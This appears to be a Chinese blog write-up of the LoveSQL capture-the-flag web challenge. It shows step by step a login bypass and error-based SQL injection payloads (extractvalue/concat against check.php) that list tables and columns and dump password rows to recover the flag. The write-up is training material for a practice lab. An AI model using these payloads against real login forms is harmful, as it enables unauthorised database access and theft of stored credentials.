练习 16 Web [极客大挑战 2019]LoveSQL

extractvalue(1,concat(‘~’, (‘your sql’) ) )报错注入,注意爆破字段的时候表名有可能是table_name不是table_schema

有登录输入框
常规尝试一下

常规的万能密码,返回了一个“admin的密码”:
Hello admin!
Your password is ‘f04b51f7f1de73ee7860c9eb023ea1c8’
在这里插入图片描述
没有任何有用信息
尝试报错注入 回顾 我的练习6

extractvalue(1,concat('~',(select(database()))))%23
#完整后缀
/check.php
?username=admin
&password=f04b51f7f1de73ee7860c9eb023ea1c8 
'or extractvalue(1,concat('~',(select(database()))))%23

成功返回数据库名’geek’
在这里插入图片描述
那继续沿用爆表:

#查表
select group_concat(table_name) from information_schema.tables where table_schema='geek'
#放到报错函数中
extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='geek')))%23

成功返回表名:应该是第二个用得上"l0ve1ysq1"
在这里插入图片描述
继续爆破字段:
这里还是要注意
最后是where table_name=‘l0ve1ysq1’
不是table_schema

select group_concat(column_name) from information_schema.columns where table_schema=database()

# 这里还是要注意最后是where table_name='l0ve1ysq1',不是table_schema
extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1')))%23

成功,继续看一下内容
在这里插入图片描述

select group_concat(password) fropm 'l0ve1ysq1' where id=1

extractvalue(1,concat('~',(select group_concat(password) from l0ve1ysq1 where id=1)))%23

这里一直尝试到id=16才找到flag 的一部分 '~flag{dba94064-c18c-4c85-8821-30'
id=17是无效的
所以也需要用到right函数显示后半部分 right(password,30)

在这里插入图片描述

extractvalue(1,concat('~',(select group_concat(right(password,30) )from l0ve1ysq1 where id=16)))%23

在这里插入图片描述

'~4-c18c-4c85-8821-301279f9a32a}'

拼接一下即可: flag{dba94064-c18c-4c85-8821-301279f9a32a}

End

  • 9
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值